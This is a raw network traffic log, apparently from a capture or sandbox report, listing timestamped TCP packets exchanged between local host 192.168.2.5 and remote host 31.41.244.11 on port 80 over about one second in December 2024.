Dec 19, 2024 03:09:23.964330912 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.964380980 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.965209007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.965265036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.965332985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.965389013 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.966229916 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.966299057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.966348886 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.966473103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.967252970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.967333078 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.967386961 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.967436075 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.968282938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.968358040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.968405962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.968467951 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.969278097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.969372034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.969417095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.969583988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.970273972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.970331907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.970395088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.970446110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.971328020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.971415043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.971417904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.971463919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.972311020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.972424984 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.972465992 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.972496986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.973330021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.973392010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.973440886 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.973495960 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.974308014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.974447012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.974452972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.974498034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.975378036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.975430012 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.975464106 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.975604057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.976357937 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.976423025 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.976490974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.976617098 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.977391005 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.977453947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.977485895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.977579117 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.978473902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.978533983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.978602886 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.978657007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.979418993 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.979475975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.979649067 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.979746103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.980412960 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.980520010 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.980571032 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.981436968 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.981489897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.981537104 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.981592894 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.982424974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.982481956 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.982541084 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.982599020 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.983452082 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.983508110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.983581066 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.983654022 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.984453917 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.984505892 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.984574080 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.984623909 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.985477924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.985534906 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.985584021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.985634089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.986459970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.986515045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.986644983 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.986697912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.987503052 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.987557888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.987620115 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.987683058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.988504887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.988570929 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.988640070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.988711119 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.989547968 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.989612103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.989644051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.989789009 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.990535975 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.990596056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.990658045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.990708113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.991538048 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.991640091 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.991662025 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.991719007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.992553949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.992610931 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.992674112 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.992902040 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.993594885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.993678093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.993716955 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.993796110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.994621992 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.994684935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.994714022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.994807959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.995635033 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.995760918 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.995826006 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.996593952 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.996694088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.996738911 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.996797085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.997616053 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.997725964 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.997741938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.997772932 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.998619080 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.998733997 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.998769999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.998819113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.999659061 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.999702930 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:23.999752045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:23.999800920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.000638962 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.000689983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.000758886 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.000807047 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.001696110 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.001748085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.001804113 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.001867056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.002659082 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.002722025 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.002758026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.002813101 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.003730059 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.003777981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.003819942 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.003864050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.004688025 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.004734039 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.004792929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.004842997 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.005691051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.005748034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.005789042 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.005871058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.145620108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.145781040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.145853996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.146061897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.146114111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.146202087 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.146249056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.147066116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.147129059 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.147208929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.147255898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.148046017 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.148216009 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.148267031 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.149070978 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.149122953 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.149179935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.149223089 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.150094032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.150147915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.150202990 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.150249004 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.151099920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.151145935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.151207924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.151247978 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.152112007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.152240038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.152290106 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.153111935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.153165102 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.153225899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.153274059 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.154136896 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.154189110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.154251099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.154299974 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.155155897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.155206919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.155267954 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.155311108 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.156187057 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.156327009 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.156387091 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.157182932 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.157237053 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.157299042 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.157345057 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.158170938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.158226967 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.158318996 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.158412933 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.159194946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.159240961 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.159310102 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.159367085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.160227060 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.160348892 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.160403967 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.161233902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.161278963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.161339998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.161389112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.162226915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.162281036 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.162342072 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.162383080 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.163234949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.163289070 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.163367033 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.163424969 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.164268017 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.164371967 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.164423943 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.165280104 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.165327072 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.165401936 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.165443897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.166306973 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.166352034 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.166429043 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.166475058 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.167293072 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.167345047 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.167423964 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.167465925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.168356895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.168533087 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.168587923 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.169322014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.169378996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.169445038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.169487000 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.170340061 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.170382023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.170448065 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.170490026 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.171363115 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.171412945 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.171480894 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.171520948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.172354937 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.172466993 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.172509909 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.173372030 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.173414946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.173477888 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.173518896 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.174396992 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.174458981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.174518108 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.174567938 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.175462008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.175515890 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.175529003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.175571918 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.176533937 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.176657915 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.176717997 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.177484989 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.177542925 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.177603006 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.177649021 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.178456068 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.178543091 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.178628922 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.178674936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.179497004 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.179541111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.179588079 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.180609941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.180660009 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.180722952 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.180771112 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.181504011 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.181550026 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.181654930 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.181710958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.182470083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.182524920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.182588100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.182631969 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.183506966 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.183563948 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.183610916 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.184506893 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.184571981 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.184634924 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.184674025 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.185516119 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.185566902 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.185630083 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.185676098 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.186522007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.186646938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.186706066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.186706066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.187526941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.187592030 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.187659979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.187709093 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.188580036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.188627958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.188734055 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.188780069 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.189687014 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.189810038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.189868927 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.190603971 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.190659046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.190720081 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.190768003 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.191646099 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.191792011 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.191847086 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.192657948 CET	80	49862	31.41.244.11	192.168.2.5
